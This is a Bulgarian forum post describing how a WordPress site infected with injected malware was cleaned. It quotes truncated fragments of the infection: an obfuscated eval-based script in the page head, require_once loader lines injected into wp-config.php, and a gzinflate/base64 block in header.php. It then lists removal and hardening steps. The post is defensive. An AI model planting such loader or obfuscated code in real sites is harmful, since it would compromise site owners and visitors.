hatre
Active Member
Вирусът ми беше премахнат благодарение на моя хостинг доставчик deyhost.com
Как разбрах къде е вируса:
В Google Web maser tools показва на кои страници и кой е кода на вируса
Моя код на вируса е в HEAD:
Какво причини вируса:
Google показва, че сайта е злонамерен
Mozilla изписва червеното съобщение, че сайта има злонамерен софтуер
Avast показва че в сайта има вирус но не блокира връзката
Решение на проблема:
1 Във файла wp-config.php се премахват последните редове (ако ги има), които са написани от бота който е инжектирал вируса.
2 Изтриват се файловете, които са в по-годния код (eanlyypltyba.php', baldbbpevrlal.php' ). Възможно имената им да не са същите, а да са генерирани, за да бъдат всеки път различни.
3 Във файловете на темите wp-content\themes\adventure\името на темата – header.php се изтрива кода:
4 Моя файл wp-config.php беше с права за достъп 667, а те трябва да са 644.
Как да се предпазим от такива вируси
WP генерира meta таг
Как разбрах къде е вируса:
В Google Web maser tools показва на кои страници и кой е кода на вируса
Моя код на вируса е в HEAD:
<script>try{n%=Math.round;}catch(zxc){e=eval;m=Math;n="1428..1755..1540..1485..1624. ....
Какво причини вируса:
Google показва, че сайта е злонамерен
Mozilla изписва червеното съобщение, че сайта има злонамерен софтуер
Avast показва че в сайта има вирус но не блокира връзката
Решение на проблема:
1 Във файла wp-config.php се премахват последните редове (ако ги има), които са написани от бота който е инжектирал вируса.
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/eanlyypltyba.php')) { require_once (ABSPATH.WPINC.'/eanlyypltyba.php'); } }
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/baldbbpevrlal.php')) { require_once (ABSPATH.WPINC.'/baldbbpevrlal.php'); } }
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/jxbftkvm.php')) { require_once (ABSPATH.WPINC.'/jxbftkvm.php'); } }
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/zhdngkjg.php')) { require_once (ABSPATH.WPINC.'/zhdngkjg.php'); } }
2 Изтриват се файловете, които са в по-годния код (eanlyypltyba.php', baldbbpevrlal.php' ). Възможно имената им да не са същите, а да са генерирани, за да бъдат всеки път различни.
3 Във файловете на темите wp-content\themes\adventure\името на темата – header.php се изтрива кода:
Кода е дълъг 2 километра и няма как да не го забележите.#c3284d#
echo(gzinflate(base64_decode("1VpLc9tGDP4t1UxnpHos75L74ijsJ..
#/c3284d#
4 Моя файл wp-config.php беше с права за достъп 667, а те трябва да са 644.
Как да се предпазим от такива вируси
WP генерира meta таг
по който ботовете които инжектират вируса се ориентират дали платформата е WP. Може би има и други начини по които разпознават платформата като (wp-content...). За да се премахне meta тага за се поставя<meta name="generator" content="WordPress х.х.х" />
най-горе на файла functions.php на темата.remove_action('wp_head', 'wp_generator');